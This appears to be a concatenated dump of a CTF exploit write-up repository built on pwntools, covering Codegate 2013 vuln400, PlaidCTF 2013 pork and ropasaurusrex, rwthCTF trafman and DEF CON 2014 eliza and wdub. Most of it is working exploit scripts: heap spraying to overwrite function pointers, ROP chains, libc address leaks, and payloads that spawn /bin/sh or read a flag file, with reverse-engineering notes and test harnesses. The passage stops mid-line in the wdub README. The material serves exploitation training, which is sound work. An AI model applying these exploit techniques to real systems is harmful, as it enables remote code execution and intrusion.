does... 14 | 15 | _______________________________ 16 | /==============================/ 17 | | Onetime Board Console | 18 | /------------------------------/ 19 | | | WELCOME | | 20 | |__________|_________|_________| 21 | | W a i t | 22 | ++++++++++++++++++++++++++++++++ 23 | 24 | And then we do wait. For thirty seconds. 25 | 26 | .text:08048A7B mov dword ptr [esp], 1Eh ; seconds 27 | .text:08048A82 call _sleep 28 | 29 | Let's get rid of that. Probably for throttling purposes during the CTF. 30 | 31 | python -c 'print "\x90"*100' > nops 32 | dd conv=notrunc if=nops of=7b80d4d56c282a310297336752c589b7 seek=$((0xa82)) bs=1 count=5 33 | 34 | Cool, what can we do? Looks like we can create/edit/delete/view replies with three fields. And then we can leave messages on an Auto Reply system or whatever. 35 | 36 | 1. Write 37 | 2. Read 38 | 3. Exit 39 | => 1 40 | Author : my_author 41 | Title : my_title 42 | Content : my_content 43 | 1. Write 44 | 2. Read 45 | 3. Exit 46 | => 2 47 | | number| author | title 48 | ----------------------------------------------- 49 | | 1 | my_author | my_title 50 | ----------------------------------------------- 51 | Number : 1 52 | =================================== 53 | || 1 || my_author || my_title 54 | =================================== 55 | |content | my_content 56 | =================================== 57 | | 58 | |====> Welcome, It's Auto reply system 59 | 1. delete 2. modify 3. reply 4. back 60 | => 1 61 | Cannot Deleted. There's at least one or more replies on it 62 | 63 | Huh, so delete's broken or something. Let's look into that. 64 | 65 | ## Reverse Engineering & Disassembly 66 | 67 | So we've got a program which has is somewhat like a forum/bbs -- you 68 | can create a new post, and you can create replies. 69 | 70 | Everything is stored on the heap. There are two main structures. 71 | 72 | ### Post Structure 73 | 74 | The `post` is pretty basic. It implements a doubly-linked list, 75 | has a few function pointers, a few pointers to strings, and a 76 | pointer to the first entry in the singly-linked list of replies. 77 | It also has a `magic` field, which changes based on whether the 78 | `post` has been modified. 79 | 80 | 00000000 post struc ; (sizeof=0x30) 81 | 00000000 num_replies dd ? ; XREF: ... 82 | 00000004 next dd ? ; XREF: ... ; offset 83 | 00000008 prev dd ? ; XREF: ... ; offset 84 | 0000000C read_input dd ? ; XREF: ... ; offset 85 | 00000010 do_free_detect dd ? ; XREF: ... ; offset 86 | 00000014 reply_head dd ? ; XREF: ... ; offset 87 | 00000018 reply_count dd ? ; XREF: ... 88 | 0000001C author_100h dd ? ; XREF: ... ; offset 89 | 00000020 title_100h dd ? ; XREF: ... ; offset 90 | 00000024 content dd ? ; XREF: ... ; offset 91 | 00000028 magic dd ? ; XREF: ... 92 | 0000002C rand dd ? ; XREF: ... 93 | 00000030 post ends 94 | 00000030 95 | 96 | ### Reply Structure 97 | 98 | The `reply` structure is also pretty basic. It imlements a single 99 | forward link, another `magic` value, a pointer to the reply text, 100 | and a single function pointer. 101 | 102 | 00000000 reply struc ; (sizeof=0x1C) 103 | 00000000 head dd ? 104 | 00000004 magic dd ? ; XREF: ... 105 | 00000008 number dd ? 106 | 0000000C reply_text dd ? ; XREF: ... ; offset 107 | 00000010 set_BABEFACE dd ? 108 | 00000014 do_free dd ? ; XREF: ... ; offset 109 | 00000018 next_rec dd ? ; XREF: ... ; offset 110 | 0000001C reply ends 111 | 0000001C 112 | 113 | ## Le Bugs 114 | 115 | There are a few bugs/gotchas. The first of these is that the counter `reply_count` is only ever interacted with as a single byte. This is particularly apparent in the delete routine, which we noticed was bugged earlier. We can easily overflow this counter back to zero by creating a bunch of replies. 116 | 117 | ```c 118 | if ( SLOBYTE(post->num_replies) <= 0 ) 119 | { ... } 120 | else 121 | { 122 | puts("Cannot Deleted. There's at least one or more replies on it"); 123 | } 124 | ``` 125 | 126 | The second bug is that the function pointer `do_free` is initialized if-and-only-if the `magic` on the `post` indicates that it is unmodified. 127 | 128 | ```c 129 | if ( post->magic == 0xDEADBEEF ) 130 | { 131 | for ( reply = post->reply_head; reply->next_rec; reply = reply->next_rec ) 132 | { 133 | reply->set_BABEFACE = (int)set_BABEFACE; 134 | reply->do_free = do_free; 135 | } 136 | } 137 | ``` 138 | 139 | However, there is trivial detection for this. The authors were quite loud about where the bug is. The trivial detection only checks the first two replies, though. 140 | 141 | ```c 142 | reply = post->reply_head; 143 | for ( i = 0; i <= 1; ++i ) 144 | { 145 | if ( reply->do_free != do_free ) 146 | { 147 | puts("Detected"); 148 | exit(1); 149 | } 150 | reply = reply->next_rec; 151 | } 152 | ``` 153 | 154 | So we have a relatively traditional uninitialized function pointer that we can influence from old heap data. How to get at the heap? After looking at all of the `malloc` calls in the binary, one stands out. When entering `content` for the post, `8000` bytes of our data is read into a `10000` byte stack buffer. This buffer is then `strlen()`'ed, and a new heap allocation is created to hold exactly that data. Now we control a boatload of heap. Luckily, none of the important addresses control NULLs. 155 | 156 | ## Exploit 157 | 158 | Exploitation is pretty straightforward. 159 | 160 | 0. Create three posts (#1-3) 161 | 0. The #2 should have a huge `content`. I used a cyclic fill pattern to find offsets within it on crashes. 162 | 0. Create enough replies to reset the `reply_count` counter to zero. 163 | 0. Free the middle post. This frees the giant `content` heap buffer. 164 | 0) Create two new posts (#4-5) 165 | 0. On post #4, overflow the `reply_count` and free 166 | 167 | By manipulating the `content` of post #3 such that we can pass the check on the first two replies (the "Detected" check) and so that the function pointer on the third reply is `system`, we can call `system` on the text of the reply. -------------------------------------------------------------------------------- /2013/codegate-quals/vuln400/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | import time, hashlib 4 | context(os='linux',arch='i386') 5 | 6 | # If a HOST is given on the cmdline, then assume that it is already running there 7 | if 'HOST' in pwn.args: 8 | HOST = pwn.args['HOST'] 9 | PORT = int(pwn.args.get('PORT', 7777)) 10 | p = remote(HOST, PORT) 11 | else: 12 | # Otherwise start the binary locally 13 | p = process('./7b80d4d56c282a310297336752c589b7') 14 | 15 | # Commands on main page 16 | obj_write = '1' 17 | obj_read = '2' 18 | obj_quit = '3' 19 | 20 | rec_del = '1' 21 | rec_mod = '2' 22 | rec_reply = '3' 23 | rec_back = '4' 24 | 25 | def write(content=''): 26 | write.count += 1 27 | 28 | p.sendline(obj_write) 29 | p.sendline('author_%04i----' % write.count) 30 | p.sendline('title_%04i-----' % write.count) 31 | p.sendline(content) 32 | 33 | return write.count 34 | write.count = 0 35 | 36 | def reply(obj_id, reply_id): 37 | p.sendline(obj_read) 38 | p.sendline(str(obj_id)) 39 | p.sendline(rec_reply) 40 | # We really only need one specific reply to have /bin/sh in it, 41 | # but it's easier to just do all of them. 42 | p.sendline('/bin/sh') # 'reply_%04i' % reply_id) 43 | p.sendline(rec_back) 44 | 45 | def modify(obj_id): 46 | p.sendline(obj_read) 47 | p.sendline(str(obj_id)) 48 | p.sendline(rec_mod) 49 | p.sendline('author_%04i----' % obj_id) 50 | p.sendline('title_%04i-----' % obj_id) 51 | p.sendline(rec_back) 52 | 53 | def delete(obj_id): 54 | p.sendline(obj_read) 55 | p.sendline(str(obj_id)) 56 | p.sendline(rec_del) 57 | p.sendline(rec_back) 58 | 59 | # Use a cyclic pattern as the base of our spray for trouble- 60 | # shooting purposes, and patch in the addresses we need at 61 | # the correct locations. 62 | cyclic = cyclic(8000) 63 | do_free = p32(0x80487C4) 64 | system = p32(0x8048630) 65 | offsets = { 66 | 'jaaa': do_free, 67 | 'zaah': do_free, 68 | 'iaah': system 69 | } 70 | 71 | # Comment this loop out to see where the crashes 72 | for pat,addr in offsets.items(): 73 | off = cyclic_find(pat) 74 | cyclic = cyclic[:off] + addr + cyclic[off+4:] 75 | 76 | # Heap spray 77 | write() # needed for spray->prev 78 | spray = write(cyclic) 79 | write() # needed for spray->next and sploit->prev 80 | 81 | # Create enough replies so that the total is 0x100 82 | map(lambda x: reply(spray, x), range(255)) 83 | 84 | # raw_input("Press enter to delete first object") 85 | delete(spray) 86 | 87 | # New thread 88 | sploit = write() 89 | write() # sploit->next 90 | 91 | map(lambda x: reply(sploit, x), range(255)) 92 | 93 | # raw_input("Press enter to delete second object") 94 | modify(sploit) 95 | delete(sploit) 96 | 97 | data = p.recvrepeat() 98 | while data: 99 | data = p.recvrepeat() 100 | time.sleep(1) 101 | 102 | p.interactive() 103 | -------------------------------------------------------------------------------- /2013/codegate-quals/vuln400/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | import os, signal 5 | context.log_level = 1000 6 | 7 | with tempfile.NamedTemporaryFile() as fd: 8 | s = randoms(12) 9 | fd.write(s) 10 | fd.flush() 11 | 12 | try: 13 | l = listen(0) 14 | l.spawn_process('./7b80d4d56c282a310297336752c589b7') 15 | p = process(["./doit.py", "SILENT", "HOST=localhost", "PORT=" + str(l.lport)]) 16 | 17 | p.sendline("base64 " + fd.name) 18 | if p.recvline(timeout = 10).strip() == b64e(s): 19 | print "ok" 20 | else: 21 | print "not ok" 22 | finally: 23 | p.close() 24 | os.kill(l.proc.pid, signal.SIGKILL) 25 | -------------------------------------------------------------------------------- /2013/pctf/pork/README: -------------------------------------------------------------------------------- 1 | The pork-patched have the dropprivs call patched out. 2 | -------------------------------------------------------------------------------- /2013/pctf/pork/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | context(arch = 'i386', os = 'linux') 6 | 7 | HOST = '127.0.0.1' 8 | #HOST = '184.72.73.160' 9 | PORT = 33227 10 | 11 | r = remote(HOST, PORT) 12 | elf = ELF('./pork-8c2fdf93e211c7358e0192a24bc951843da672b1') 13 | rop1 = ROP(elf) 14 | rop2 = ROP(elf) 15 | 16 | buf = elf.bss(0x80) 17 | shellcode = asm(shellcraft.findpeersh()) 18 | 19 | rop1.read(4, buf+5*4, len(shellcode)) 20 | rop1.call(buf+5*4) 21 | 22 | for n,c in enumerate(rop1.chain()): 23 | rop2.sprintf(buf+n, elf.search(c).next()) 24 | 25 | rop2.migrate(buf) 26 | 27 | r.send('GET http://' + 'A'.ljust(1024, 'A') + rop2.chain() + ' HTTP/1.1\r\n') 28 | sleep(0.1) 29 | r.send('\r\n' + shellcode) 30 | r.interactive() 31 | -------------------------------------------------------------------------------- /2013/pctf/pork/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | context.log_level = 1000 5 | 6 | with tempfile.NamedTemporaryFile() as fd: 7 | s = randoms(12) 8 | fd.write(s) 9 | fd.flush() 10 | 11 | p1 = process(['./pork-patched']) 12 | try: 13 | p2 = process(["./doit.py", "SILENT"]) 14 | 15 | p2.sendline("base64 " + fd.name) 16 | if p2.recvline().strip() == b64e(s): 17 | print "ok" 18 | else: 19 | print "not ok" 20 | finally: 21 | p1.kill() 22 | -------------------------------------------------------------------------------- /2013/pctf/pork/pork-8c2fdf93e211c7358e0192a24bc951843da672b1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/pctf/pork/pork-8c2fdf93e211c7358e0192a24bc951843da672b1 -------------------------------------------------------------------------------- /2013/pctf/pork/pork-patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/pctf/pork/pork-patched -------------------------------------------------------------------------------- /2013/pctf/ropasaurus/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from pwn import * 3 | 4 | binary = './ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d' 5 | 6 | # Demo should work even without a HOST 7 | if 'HOST' in args: 8 | r = remote(args['HOST'], int(args['PORT'])) 9 | else: 10 | r = process(binary) 11 | 12 | # If we run with a cyclic pattern, we end up with the following state: 13 | # 14 | # $ cyclic 999 > input 15 | # $ gdb ./ropasaurusrex 16 | # $ run < input 17 | # ... 18 | # EBP: 0x6261616a (b'jaab') 19 | # ESP: 0xffffc7e0 ("laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n\310\377\377\030\226\004\b\030\202\004\b") 20 | # EIP: 0x6261616b (b'kaab') 21 | # 22 | # Let's generate a bit of padding to get us up to the edge of EIP control. 23 | padding = cyclic(cyclic_find('kaab')) 24 | 25 | # Load the elf file 26 | rex = ELF(binary) 27 | 28 | # Our goal from here is to dynamically resolve the address for system 29 | # to do this, we migrate between two ROP chains in the .bss section 30 | addrs = [rex.bss(0x200), rex.bss(0x300)] 31 | cur_addr = addrs[0] 32 | 33 | # Read in the first rop at cur_addr and migrate to it 34 | rop = ROP(rex) 35 | rop.read(0, cur_addr, 0x100) 36 | rop.migrate(cur_addr) 37 | log.info("Stage 1 Rop:\n%s" % (rop.dump())) 38 | r.send(padding + str(rop)) 39 | 40 | # Now we create a memleaker, so we can use DynELF 41 | @MemLeak 42 | def leak(addr, length = 0x100): 43 | global cur_addr 44 | 45 | rop = ROP(rex, base=cur_addr) 46 | cur_addr = addrs[1] if cur_addr == addrs[0] else addrs[0] 47 | rop.write(1, addr, length) 48 | rop.read(0, cur_addr, 0x100) 49 | rop.migrate(cur_addr) 50 | r.send(str(rop)) 51 | 52 | data = r.recvn(length) 53 | log.debug("Leaked %#x\n%s" % (addr, hexdump(data))) 54 | return data 55 | 56 | # Use the memleaker to resolve system from libc 57 | resolver = DynELF(leak, elf=rex) 58 | libc = resolver.libc() 59 | 60 | # Call system('/bin/sh') 61 | if libc: 62 | rop = ROP([rex, libc], base=cur_addr) 63 | rop.system('/bin/sh') 64 | else: 65 | system = resolver.lookup('system', 'libc') 66 | rop = ROP([rex], base=cur_addr) 67 | rop.call(system, ['/bin/sh']) 68 | 69 | log.info("Stage 2 Rop:\n%s" % (rop.dump())) 70 | 71 | # Send the rop and win 72 | r.send(str(rop)) 73 | r.interactive() 74 | -------------------------------------------------------------------------------- /2013/pctf/ropasaurus/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | context.log_level = 1000 5 | 6 | with tempfile.NamedTemporaryFile() as fd: 7 | s = randoms(12) 8 | fd.write(s) 9 | fd.flush() 10 | 11 | l = listen(0) 12 | l.spawn_process(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d']) 13 | p = process(["./doit.py", "SILENT", "HOST=localhost", "PORT=" + str(l.lport)]) 14 | 15 | p.sendline("base64 " + fd.name) 16 | if p.recvline().strip() == b64e(s): 17 | print "ok" 18 | else: 19 | print "not ok" 20 | -------------------------------------------------------------------------------- /2013/pctf/ropasaurus/ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/pctf/ropasaurus/ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d -------------------------------------------------------------------------------- /2013/pctf/ropasaurus2/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | binary = './ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d' 5 | 6 | # Remote version 7 | l = listen(0) 8 | l.spawn_process([binary]) 9 | r = remote('localhost', l.lport) 10 | 11 | # Uncomment for local version 12 | # r = process(binary) 13 | 14 | # 15 | # If we run with a cyclic pattern, we end up with the following state: 16 | # 17 | # $ cyclic 999 > input 18 | # $ gdb ./ropasaurusrex 19 | # $ run < input 20 | # ... 21 | # EBP: 0x6261616a (b'jaab') 22 | # ESP: 0xffffc7e0 ("laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n\310\377\377\030\226\004\b\030\202\004\b") 23 | # EIP: 0x6261616b (b'kaab') 24 | # 25 | # Let's generate a bit of padding to get us up to the edge of EIP control. 26 | # 27 | padding = cyclic(cyclic_find('kaab')) 28 | 29 | # 30 | # Load the library and libc from disk 31 | # 32 | rex = ELF(binary) 33 | libc = ELF(next(path for path in rex.libs if 'libc' in path)) 34 | 35 | # 36 | # Write out the address of a libc routine so that we can calculate 37 | # the base address of libc, then re-run the vulnerable routine so 38 | # we can exploit. 39 | # 40 | rop1 = ROP(rex) 41 | rop1.write(1, rex.got['read'], 4) 42 | rop1.call(0x80483F4) 43 | 44 | stage1 = padding + str(rop1) 45 | log.info("Stage 1 Rop:\n%s" % rop1.dump()) 46 | log.info("Stage 1 Payload:\n%s" % hexdump(stage1)) 47 | 48 | r.send(stage1) 49 | 50 | libc_read = u32(r.recv(4)) 51 | log.info("%#x libc read" % libc_read) 52 | 53 | # 54 | # Stage 2 we do system('sh'). 55 | # 56 | # While we can write 'sh' to lots of places, it's easy enough 57 | # to just fine one in libc. 58 | # 59 | read_offset = libc.symbols['read'] - libc.address 60 | libc.address = libc_read - read_offset 61 | 62 | rop2 = ROP([rex,libc]) 63 | rop2.system(next(libc.search('sh\x00'))) 64 | 65 | stage2 = padding + str(rop2) 66 | log.info("Stage 2 Rop:\n%s" % rop2.dump()) 67 | log.info("Stage 2 Payload:\n%s" % hexdump(stage2)) 68 | 69 | r.send(stage2) 70 | 71 | # 72 | # Can haz shell? 73 | # 74 | r.sendline('id') 75 | log.success(r.recvrepeat().strip()) 76 | -------------------------------------------------------------------------------- /2013/pctf/ropasaurus2/libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/pctf/ropasaurus2/libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a -------------------------------------------------------------------------------- /2013/pctf/ropasaurus2/ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/pctf/ropasaurus2/ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d -------------------------------------------------------------------------------- /2013/rwthCTF/trafman/pwn_trafman.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | #Exploit for challenge trafman of rwthCTF2013. 3 | # 4 | #Launch arm binary directly on an i386 system: 5 | #Ref: https://gist.github.com/zachriggle/8396235f532e1aeb146d 6 | # apt-get install qemu-user-static libc6-armhf-cross 7 | # mkdir /etc/qemu-binfmt 8 | # ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm 9 | # 10 | #Create a directory named db next to the trafman binary. 11 | 12 | from pwn import * 13 | 14 | io = process("./trafman") 15 | libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6") 16 | 17 | objectID = "A"*40 18 | 19 | #Find out gadget in libc.so.6, Using ROPgadget now. 20 | #0x00058bac : pop {r0, r4, pc} 21 | pop = 0x00058bac 22 | 23 | #Step1: Leak libc base address. 24 | io.sendlineafter("Username: ", "traffic_operator") 25 | io.sendlineafter("number:\n", "23") 26 | data = io.recvline_startswith(">") 27 | 28 | printf_addr = int(data.split(" ")[1][2:], 16) 29 | libc.address = printf_addr - libc.symbols["printf"] 30 | 31 | binsh = libc.search("/bin/sh\x00").next() 32 | pop = libc.address + pop 33 | 34 | #Step2: Build ROP chain. return-to-system. 35 | # Segmentation fault at: 0x63616174 36 | offset = cyclic_find(p32(0x63616174)) 37 | padding = cyclic(offset) 38 | padding += p32(pop) 39 | padding += p32(binsh) 40 | padding += "AAAA" 41 | padding += p32(libc.symbols["system"]) 42 | 43 | #Step3: Execute Command, make a file which length is large than stack. 44 | io.sendlineafter("number:\n", "2") 45 | io.sendlineafter("):\n", objectID) 46 | io.sendlineafter("command:\n", padding) 47 | 48 | #Step4: Get Command, triger stack overflow, spawn a shell. 49 | io.sendlineafter("number:\n", "1") 50 | io.sendlineafter("command for:\n", objectID) 51 | io.interactive() 52 | -------------------------------------------------------------------------------- /2013/rwthCTF/trafman/trafman: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/rwthCTF/trafman/trafman -------------------------------------------------------------------------------- /2014/defcon-finals/eliza-x86-printf/README.md: -------------------------------------------------------------------------------- 1 | # Eliza 2 | 3 | This is the x86 version of the challenge. 4 | 5 | There are two vulnerabilities leveraged in this exploit. 6 | 7 | First, there's uninitialized stack data printed when doing the 'info' command. By calling 'help', you can pre-load that area with a pointer into the loaded module. ASLR is now defeated. 8 | 9 | Second, there's a buffer overflow in the implementation of `my_printf`. However, your buffer is effectively terminated by newlines or `NUL`s. In order to get around this, we need to pivot. 10 | 11 | The pivot is performed by loading a pointer to the `.data` area into `eax` (by means of `pop ecx` then `mov eax, ecx` gadgets). Afterward, we go into the `get_command_line` routine, which reads the second stage into the `.data` area with a known base address. 12 | 13 | Finally, we open the flag file and read it. Because the binary is RELRO (or some other reason, perhaps) we have to load `ebx` with the address of the `.got.plt` area before making calls. 14 | 15 | ## Caveats 16 | 17 | Because of file descriptor inheriting, the exploit may not work on your system unless you change the file descriptor for the `read` call. `5` works in `python`, `3` works in iPython. 18 | 19 | Additionally, this relies on pwntools auto-generation of some ROP stubs. Because there's no blacklisting for addresses, if the address of a selected gadget contains a `0x10` byte, the exploit will fail. -------------------------------------------------------------------------------- /2014/defcon-finals/eliza-x86-printf/eliza_x86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/eliza-x86-printf/eliza_x86 -------------------------------------------------------------------------------- /2014/defcon-finals/eliza-x86-printf/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | context(arch='i386', os='linux', log_level='debug') 4 | 5 | elf = ELF('./eliza_x86') 6 | p = process(elf.path) 7 | 8 | p.sendline('help') 9 | p.sendline('info eliza') 10 | 11 | # 12 | # The string with the designation number is not null terminated 13 | # 14 | p.recvuntil('Designation Number: ') 15 | p.recvn(32) 16 | module_ptr = u32(p.recvn(4)) 17 | elf.address = module_ptr - 0x4cc7 18 | p.clean() 19 | 20 | log.info("Leaked module pointer: %#x" % module_ptr) 21 | 22 | 23 | # 24 | # Overflow in my_printf 25 | # 26 | # Create a cyclic pattern to hold our data so that we can calculate offsets 27 | # Make it a mutable bytearray so that we can overwrite data 28 | # 29 | pattern = cyclic(790) 30 | pattern = bytearray(pattern) 31 | 32 | def insert(buf, offset, data): 33 | buf[offset:offset+len(data)] = data 34 | 35 | # 36 | # First crash is on a CMP ESI 37 | # 38 | # ESI: 0x66616176 (b'vaaf') 39 | # EDI: 0xd (b'\r') 40 | # 41 | # 0xf774a5b0 : mov esi,DWORD PTR [esp+0x260] 42 | # 0xf774a5b7 : add esi,edi 43 | # => 0xf774a5b9 : cmp BYTE PTR [esi],0x0 44 | # 45 | # We want [ESI+EDI] to be a NUL byte. 46 | # 47 | # base+0x4CD2 is a NUL byte. 48 | # 49 | insert(pattern, 50 | cyclic_find(p32(0x66616176-0xD)), 51 | p32(elf.address+0x4CD2-0xD)) 52 | 53 | 54 | 55 | # 56 | # If we trigger the NUL branch, we return from my_printf with the following context 57 | # 58 | # EDI: 0x66616166 (b'faaf') 59 | # --- 60 | # => 0xf771b7d6 : ret 61 | # ---- 62 | # 00:0000| esp 0xffd3ac1c ("haaf\305\\q\367jaafkaa"...) 63 | # 01:0004| 0xffd3ac20 --> 0xf7715cc5 (: (bad)) 64 | # 02:0008| 0xffd3ac24 ("jaafkaaflaafmaa"...) 65 | # 03:0012| 0xffd3ac28 ("kaaflaafmaafnaa"...) 66 | # 67 | # With this, we can then rocket on over to: 68 | # 69 | # .text:0000132E mov eax, edi ; buf 70 | # .text:00001330 call get_command_line 71 | # 72 | # Which will read into the .data section without any restrictions 73 | # except that there's no newlines allowed. 74 | # 75 | 76 | # 77 | # First, locate the target and set it so EDI will contain that value 78 | # 79 | # We also have to be wary that the packed value does not contain a 80 | # newline. 81 | # 82 | data_section = elf.address + elf.get_section_by_name('.data').header.sh_addr 83 | 84 | while '\x10' in p32(data_section): 85 | data_section += 1 86 | 87 | insert(pattern, cyclic_find('faaf'), p32(data_section)) 88 | 89 | # 90 | # Now we can build the ROP that will jump to the get_command_line() routine, 91 | # then continue ROPing in the second stage. 92 | # 93 | # Since this is a __usercall routine, we need a way to load EAX. 94 | # There does't appear to be a 'pop eax' gadget anywhere, so... 95 | # 96 | # 0x000050a2 : pop edx ; ret 97 | # 0x00005dab : mov eax, edx ; ret 98 | ## 99 | # We migrate to the second stage with this gadget: 100 | # 101 | # 0x000044a0 : pop esp ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 102 | # 103 | rop1 = ROP(elf) 104 | rop1.raw(elf.address + 0x50a2) # pop edx 105 | rop1.raw(data_section) # ... edx 106 | rop1.raw(elf.address + 0x5dab) # mov eax, edx 107 | 108 | rop1.raw(elf.address + 0x5b50) # get_command_line 109 | 110 | rop1.raw(elf.address + 0x44a0) # pop esp 111 | rop1.raw(data_section) # ... esp 112 | 113 | log.info("ROP Stage 1\n%s" % rop1.dump()) 114 | 115 | insert(pattern, cyclic_find('haaf'), str(rop1)) 116 | 117 | # 118 | # Send the large buffer to overflow, read in data, and migrate 119 | # 120 | assert '\n' not in str(pattern) 121 | p.sendline('jump ' + str(pattern)) # pattern) 122 | 123 | # 124 | # This second stage can be self-referential 125 | # 126 | rop2 = ROP(elf) 127 | rop2.base = data_section 128 | 129 | # Account for the pops at the end of the switch 130 | rop2.raw(0) # ebx 131 | rop2.raw(0) # esi 132 | rop2.raw(0) # edi 133 | rop2.raw(0) # ebp 134 | 135 | # The .PLT requires that EBX points to .GOT.PLT 136 | def fix_plt_ptr(): 137 | rop2.raw(rop2.ebx[0]) 138 | rop2.raw(elf.address + 0x9000) 139 | 140 | # Open the flag file. Assume that this ends up in FD #4. 141 | fix_plt_ptr() 142 | rop2.open('flag.txt', constants.O_RDONLY) 143 | 144 | # Read the flag file into the data, but further down 145 | fix_plt_ptr() 146 | 147 | rop2.read(5, data_section + 0x100, 0xfff) 148 | 149 | # Write the flag data out 150 | fix_plt_ptr() 151 | rop2.write(constants.STDOUT_FILENO, "Flag: ", 6) 152 | fix_plt_ptr() 153 | rop2.write(constants.STDOUT_FILENO, data_section + 0x100, 0x30) 154 | 155 | log.info("ROP Stage 2:\n%s" % rop2.dump()) 156 | 157 | assert '\n' not in str(rop2) 158 | 159 | time.sleep(1) 160 | 161 | p.sendline(str(rop2)) 162 | p.recvuntil('Flag: ') 163 | 164 | log.info("Flag:\n%s" % p.recvall()) -------------------------------------------------------------------------------- /2014/defcon-finals/eliza-x86-printf/flag.txt: -------------------------------------------------------------------------------- 1 | this_is_the_flag 2 | -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/README.md: -------------------------------------------------------------------------------- 1 | # wdub 2 | 3 | wdub1 is static compiled ARMv7 binary. For some reason, IDA won't disassemble the binary correctly. We have to manually override the CPU architecture setting to ARMv7-M, then again, manually disassemble the instruction in Thumb mode with IDA's `MakeCode` functionality. 4 | 5 | ![](images/image10.png) 6 | 7 | The real main routine is at 0x9210 8 | 9 | ![](images/image07.png) 10 | 11 | Strace tells us that wdub1 sets ALARM timer, also it can't be run from terminal (Socket operation on non-socket). 12 | 13 | ![](images/image11.png) 14 | 15 | So what we need to do in order to debug this binary is: 16 | 17 | 1. Disable alarm 18 | 2. Redirect I/O to socket. 19 | 20 | But the binary is static compiled and stripped. so it is difficult to disable alarm by patching. so we use signal masking to disable SIGALRM. 21 | 22 | ```c 23 | #include 24 | #include 25 | int main(){ 26 | sigset_t signal_set; 27 | sigaddset(&signal_set, SIGALRM); 28 | sigprocmask(SIG_BLOCK, &signal_set, NULL); 29 | char* args[] = {"./wdub", 0}; 30 | execve(args[0], args, 0); 31 | return 0; 32 | } 33 | ``` 34 | 35 | After disable the alarm and redirect the I/O with xinet.d, we can run the binary and debug it. 36 | 37 | ![](images/image03.png) 38 | 39 | At 0xc3b2 ~ 0xc3c2 the HTTP request object (12byte) is created. 40 | 41 | ![](images/image14.png) 42 | 43 | HTTP request object is consisted with [size], [????], [pointer to request string] 44 | 45 | ![](images/image01.png) 46 | 47 | 48 | The request string is parsed and processed according to `GET`, `POST`, `OPTION`, `TRACE`, `PATCH`... 49 | 50 | ![](images/image12.png) 51 | 52 | 53 | While parsing `PATCH` request, it calculates the size of `Content-Length` which is `unsigned int` and checks if its smaller than 2000 bytes., however, while processing `X-Offset Header`, the value is treated as 'signed int', so we can bypass size limit by passing `X-Offset` value negative. 54 | This creates integer overflow bug, and lets us overflow the stack buffer. 55 | 56 | 57 | ![](images/image06.png) 58 | 59 | ![](images/image08.png) 60 | 61 | 62 | The `PATCH` request loads the existing file to stack buffer size of `'Content-Length + X-Offset'`. 63 | 64 | So, first, we PATCH the `index.html` into size of N, then we `PATCH` again with negative X-Offset value in order to read index.html into small size of stack buffer. 65 | 66 | ![](images/image00.png) 67 | 68 | With such two `PATCH` request, we can overflow `alloca` stack buffer. and we can get PC control 69 | 70 | After, this step, we can ROP to execute `execve("/bin/sh")`. 71 | 72 | Since, there is no ASLR, and the binary uses deterministic heap memory allocator, we can put any data at known memory address. so we put "/bin/sh" and the address of "/bin/sh" and pass them to R0, R1. and we set R2(environ) to 0 then we jump to SVC 0 gadget with R7=11 (sys_execve). 73 | We could find such gadgets, from code section. 74 | 75 | ```py 76 | ''' 77 | .text:0000D95E 28 46 MOV R0, R5 78 | .text:0000D960 31 46 MOV R1, R6 79 | .text:0000D962 3A 46 MOV R2, R7 80 | .text:0000D964 98 47 BLX R3 81 | ''' 82 | GADGET = 0xd95e+1 83 | SVC = 0xd9b4+1 # .text:0000D9B4 SVC 0 84 | R3PC = 0x1b476+1 # .text:0001B476 POP {R3,PC} 85 | R7PC 